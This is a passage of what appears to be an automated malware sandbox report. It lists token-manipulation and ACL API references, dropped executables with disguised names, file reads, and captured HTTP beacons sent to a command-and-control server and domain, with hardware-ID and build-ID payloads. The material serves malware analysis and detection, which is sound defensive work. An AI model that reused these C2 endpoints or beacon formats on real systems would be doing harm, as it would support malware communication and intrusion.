(Indicator: "AddAccessAllowedAce"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "InitializeAcl" (Indicator: "InitializeAcl"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "SetFileSecurityW" (Indicator: "SetFileSecurityW"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "GetFileSecurityW" (Indicator: "GetFileSecurityW"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "GetSecurityDescriptorDacl" (Indicator: "GetSecurityDescriptorDacl"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "AddAce" (Indicator: "AddAce"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "GetSidIdentifierAuthority" (Indicator: "GetSidIdentifierAuthority"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "ImpersonateLoggedOnUser" (Indicator: "ImpersonateLoggedOnUser"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "GetSidSubAuthority" (Indicator: "GetSidSubAuthority"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "GetSidSubAuthorityCount" (Indicator: "GetSidSubAuthority"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "GetSidSubAuthorityCount" (Indicator: "GetSidSubAuthorityCount"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "RevertToSelf" (Indicator: "RevertToSelf"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateToken"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateTokenEx"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "SetEntriesInAclW" (Indicator: "SetEntriesInAcl"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "GetSidIdentifierAuthority" (Indicator: "GetSidIdentifierAuthority"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateToken"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateTokenEx"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "ImpersonateLoggedOnUser" (Indicator: "ImpersonateLoggedOnUser"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp")a6:Tbb2,Found reference to API "ExitProcess" (Indicator: "ExitProcess"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; File: "00000000-00000244.00000000.250409.00F81000.00000020.mdmp") Found reference to API "NtTerminateProcess" (Indicator: "TerminateProcess"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00003424.00000000.250126.0015A000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00003424.00000000.250126.0015A000.00000002.mdmp") Found reference to API "NtTerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00004348.00000000.250872.00D59000.00000004.mdmp") Found reference to API "NtTerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00004992.00000000.250516.6EA01000.00000040.mdmp, 00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00004992.00000000.250516.6EA01000.00000040.mdmp, 00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00004992.00000000.250516.6EA01000.00000040.mdmp, 00000000-00004992.00000001.250692.6EA01000.00000040.mdmp")a7:T492,Found reference to API "WriteFile" (Indicator: "WriteFile"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "NtWriteFile" (Indicator: "NtWriteFile"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "WriteFile" (Indicator: "WriteFile"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "WriteFile" (Indicator: "WriteFile"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "WriteFile" (Indicator: "WriteFile"; Source: "00000000-00003424.00000000.250126.0015A000.00000002.mdmp") Found reference to API "WriteFile" (Indicator: "WriteFile"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found reference to API "WriteFile" (Indicator: "WriteFile"; Source: "00000000-00004348.00000000.250872.00D59000.00000004.mdmp") Found reference to API "WriteFile" (Indicator: "WriteFile"; Source: "00000000-00004992.00000000.250516.6EA01000.00000040.mdmp, 00000000-00004992.00000001.250692.6EA01000.00000040.mdmp")a8:T1d6a,Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: 1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: 1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: 1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: 1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: 1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: jC9EsXW_1_.exe] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: jC9EsXW_1_.exe] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: jC9EsXW_1_.exe] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: jC9EsXW_1_.exe] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: jC9EsXW_1_.exe] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: 011e5dec2e.exe] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: 011e5dec2e.exe] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: 011e5dec2e.exe] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: 011e5dec2e.exe] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: 011e5dec2e.exe] Observed import api "AddAccessAllowedAce" which can "add an access-allowed access control entry (ACE) to an access control list (ACL)" [Source: svchost015.exe] Observed import api "AddAce" which can "add one or more access control entries (ACEs) to a specified access control list (ACL)" [Source: svchost015.exe] Observed import api "GetAce" which can "obtain a pointer to an access control entry (ACE) in an access control list (ACL)" [Source: svchost015.exe] Observed import api "GetAclInformation" which can "retrieve information about an access control list (ACL)" [Source: svchost015.exe] Observed import api "GetFileSecurityW" which can "obtain specified information about the security of a file or directory" [Source: svchost015.exe] Observed import api "GetLengthSid" which can "return the length in bytes of a valid security identifier (SID)" [Source: svchost015.exe] Observed import api "GetSecurityDescriptorDacl" which can "retrieve a pointer to the discretionary access control list (DACL) in a specified security descriptor" [Source: svchost015.exe] Observed import api "InitializeAcl" which can "initialize a new ACL structure" [Source: svchost015.exe] Observed import api "InitializeSecurityDescriptor" which can "initialize a new security descriptor" [Source: svchost015.exe] Observed import api "SetFileSecurityW" which can "set the security of a file or directory object" [Source: svchost015.exe] Observed import api "SetSecurityDescriptorDacl" which can "set information in a discretionary access control list (DACL)" [Source: svchost015.exe] Observed import api "DuplicateToken" which can "create a new access token that duplicates one already in existence" [Source: windowsservice.exe] Observed import api "DuplicateTokenEx" which can "create a new access token that duplicates an existing token" [Source: windowsservice.exe] Observed import api "GetSidIdentifierAuthority" which can "return a pointer to the SID_IDENTIFIER_AUTHORITY structure in a specified security identifier (SID)" [Source: windowsservice.exe] Observed import api "GetSidSubAuthority" which can "return a pointer to a specified subauthority in a security identifier (SID)" [Source: windowsservice.exe] Observed import api "GetSidSubAuthorityCount" which can "return a pointer to the member in a security identifier (SID) structure that contains the subauthority count" [Source: windowsservice.exe] Observed import api "ImpersonateLoggedOnUser" which can "let the calling thread impersonate the security context of a logged-on user" [Source: windowsservice.exe] Observed import api "RevertToSelf" which can "terminate the impersonation of a client application" [Source: windowsservice.exe] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: 011e5dec2e.tmp] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: 011e5dec2e.tmp] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: 011e5dec2e.tmp] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: 011e5dec2e.tmp] Observed import api "InitializeSecurityDescriptor" which can "initialize a new security descriptor" [Source: 011e5dec2e.tmp] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: 011e5dec2e.tmp] Observed import api "SetSecurityDescriptorDacl" which can "set information in a discretionary access control list (DACL)" [Source: 011e5dec2e.tmp] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: jC9EsXW.tmp] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: jC9EsXW.tmp] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: jC9EsXW.tmp] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: jC9EsXW.tmp] Observed import api "InitializeSecurityDescriptor" which can "initialize a new security descriptor" [Source: jC9EsXW.tmp] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: jC9EsXW.tmp] Observed import api "SetSecurityDescriptorDacl" which can "set information in a discretionary access control list (DACL)" [Source: jC9EsXW.tmp] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: _setup64.tmp] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: _setup64.tmp] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: _setup64.tmp]a9:Tdff," "st=s" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 01 Feb 2026 01:38:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E333C643E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 176 Cache-Control: no-cache" with payload::==> "r=B483325996CBE2D90F44AFCA4B673C053DA706B58D84B4EFA8B2C979C7151FB140BE1D46450FC9DDF642E3BDD70A0AC64C0BD426A79253F4599B6AEF41EF4B1D149F194401DC845B8C42C8D9E35EB799357BC015B969A1" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 01 Feb 2026 01:38:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E31313938313831303130312B2B2B62353933376331613939643566396464303934336235633834633765336434623765623330376138393764376165....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "e2=11981810101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 01 Feb 2026 01:38:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11981900101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 01 Feb 2026 01:38:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST / HTTP/1.1 Host: uyu.munsitex.com.lk Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Content-Type: multipart/form-data; boundary=----njlfIH0Xk3AXMc3nwHZT Cache-Control: no-cache Content-Length: 254" with payload::==> "------njlfIH0Xk3AXMc3nwHZTContent-Disposition: form-data; name="hwid"23EBD35BE7F8D3C20DA4-d27478a5-2058------njlfIH0Xk3AXMc3nwHZTContent-Disposition: form-data; name="build_id"639cb66483e97a71f9c9860499c027d2------njlfIH0Xk3AXMc3nwHZT--" HTTP/1.1 200 OK Date: Sun 01 Feb 2026 01:38:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=5 cfOrigin;dur=471 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=qCvfKc1XA2UCeYAwf6E0OCnGPz7L4JRyh2znT%2FF5VrCYkrC%2FQ4LZTNsozHB0zIIfvXy1YNkwimRPRSuUTCBkTIMeVEzLbPtWKwmicDylw05dFO4%3D"}]} CF-RAY: 9c6dba99f99f5527-SJC alt-svc: h3=":443"; ma=86400 with response body ==>626C6F636B....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11981910101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 01 Feb 2026 01:38:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11981920101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 01 Feb 2026 01:38:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11981930101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 01 Feb 2026 01:38:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST / HTTP/1.1 Host: uyu.munsitex.com.lk Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Content-Type: multipart/form-data; boundary=----rGYELGd4eFeVsHUSLqsK Cache-Control: no-cache Content-Length: 254" with payload::==> "------rGYELGd4eFeVsHUSLqsKContent-Disposition: form-data; name="hwid"23EBD35BE7F8D3C20DA4-d27478a5-2058------rGYELGd4eFeVsHUSLqsKContent-Disposition: form-data; name="build_id"fd8fdc89d579f3598340c3edcf29a7cc------rGYELGd4eFeVsHUSLqsK--" HTTP/1.1 200 OK Date: Sun 01 Feb 2026 01:38:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=4 cfOrigin;dur=463 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=MYqr1BfSlqKbDqRaGNvsssioeL2j6s22S9BwiTwyNdI%2FTXtPLDRcfQ6xuPBmWbKwyMXjsPII9c%2BAuJadqod1wRx9TcimjTPLOaMuzQR6e57TwiQ%3D"}]} CF-RAY: 9c6dbad24d4db873-SJC alt-svc: h3=":443"; ma=86400 with response body ==>626C6F636B....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11981940101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 01 Feb 2026 01:38:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11981951101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 01 Feb 2026 01:38:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11981960101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 01 Feb 2026 01:38:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11981980101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 01 Feb 2026 01:39:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11981990101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 01 Feb 2026 01:39:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11982000101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 01 Feb 2026 01:39:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11982010101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 01 Feb 2026 01:39:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11982020101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 01 Feb 2026 01:39:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11982030101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 01 Feb 2026 01:39:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11982040101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 01 Feb 2026 01:39:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11982050101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 01 Feb 2026 01:39:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11982060101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 01 Feb 2026 01:39:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11982070101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 01 Feb 2026 01:39:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11982080101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 01 Feb 2026 01:40:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11982090101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 01 Feb 2026 01:40:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 4 Cache-Control: no-cache" with payload::==> "st=s" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 01 Feb 2026 01:40:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E333C643E.......af:T686,"windowsservice.exe" reads file "C:\Users\%OSUSER%\Desktop\desktop.ini" "windowsservice.exe" reads file "C:\Users\%OSUSER%\Documents\desktop.ini" "windowsservice.exe" reads file "C:\Users\%OSUSER%\Music\desktop.ini" "windowsservice.exe" reads file "C:\Users\%OSUSER%\Pictures\desktop.ini" "windowsservice.exe" reads file "C:\Users\%OSUSER%\Videos\desktop.ini" "windowsservice.exe" reads file "C:\Users\%OSUSER%\Downloads\desktop.ini" "windowsservice.exe" reads file "C:\Users\%OSUSER%\OneDrive\desktop.ini" "windowsservice.exe" reads file "C:\Users\%OSUSER%\Searches\desktop.ini" "windowsservice.exe" reads file "C:\Users\%OSUSER%\Contacts\desktop.ini" "windowsservice.exe" reads file "C:\Users\%OSUSER%\Favorites\desktop.ini" "windowsservice.exe" reads file "C:\Users\%OSUSER%\Links\desktop.ini" "windowsservice.exe" reads file "C:\Users\%OSUSER%\Saved Games\desktop.ini" "windowsservice.exe" reads file "C:\Users\desktop.ini" "jC9EsXW.tmp" reads file "C:\Users\%OSUSER%\Desktop\desktop.ini" "jC9EsXW.tmp" reads file "C:\Users\%OSUSER%\Documents\desktop.ini" "jC9EsXW.tmp" reads file "C:\Users\%OSUSER%\Music\desktop.ini" "jC9EsXW.tmp" reads file "C:\Users\%OSUSER%\Pictures\desktop.ini" "jC9EsXW.tmp" reads file "C:\Users\%OSUSER%\Videos\desktop.ini" "jC9EsXW.tmp" reads file "C:\Users\%OSUSER%\Downloads\desktop.ini" "jC9EsXW.tmp" reads file "C:\Users\%OSUSER%\OneDrive\desktop.ini" "jC9EsXW.tmp" reads file "C:\Users\%OSUSER%\Searches\desktop.ini" "jC9EsXW.tmp" reads file "C:\Users\%OSUSER%\Contacts\desktop.ini" "jC9EsXW.tmp" reads file "C:\Users\%OSUSER%\Favorites\desktop.ini" "jC9EsXW.tmp" reads file "C:\Users\%OSUSER%\Links\desktop.ini"b0:T14d7,"config.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 4 sections"- [targetUID: N/A] "5HStrHE.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 7 sections"- [targetUID: N/A] "S1eqCC3.exe" has type "PE32+ executable for MS Windows 6.01 (GUI) x86-64 (stripped to external PDB) 6 sections"- [targetUID: N/A] "011e5dec2e.exe" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 11 sections"- Location: [%TEMP%\11981910101\011e5dec2e.exe]- [targetUID: 00000000-00005708] "svchost015.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 8 sections"- [targetUID: N/A] "bEKVmef.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 8 sections"- [targetUID: N/A] "1e58p2.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 Mono/.Net assembly 3 sections"- Location: [%TEMP%\IXP000.TMP\1e58p2.exe]- [targetUID: 00000000-00003424] "windowsservice.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%USERPROFILE%\windowsservice.exe]- [targetUID: 00000000-00000244] "QKTi8Lo.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 Mono/.Net assembly 3 sections"- [targetUID: N/A] "42058ad017.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 3 sections"- [targetUID: N/A] "Wfo8KJM.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 3 sections"- [targetUID: N/A] "2O1249.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 3 sections"- Location: [%TEMP%\IXP000.TMP\2O1249.exe]- [targetUID: 00000000-00003424] "QWKgBhv.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 3 sections"- [targetUID: N/A] "Install.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- [targetUID: N/A] "_isdecmp.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 4 sections"- [targetUID: 00000000-00007860] "458cc4f7c3.exe" has type "PE32 executable for MS Windows 4.00 (console) Intel i386 Mono/.Net assembly 3 sections"- Location: [%TEMP%\11981920101\458cc4f7c3.exe]- [targetUID: 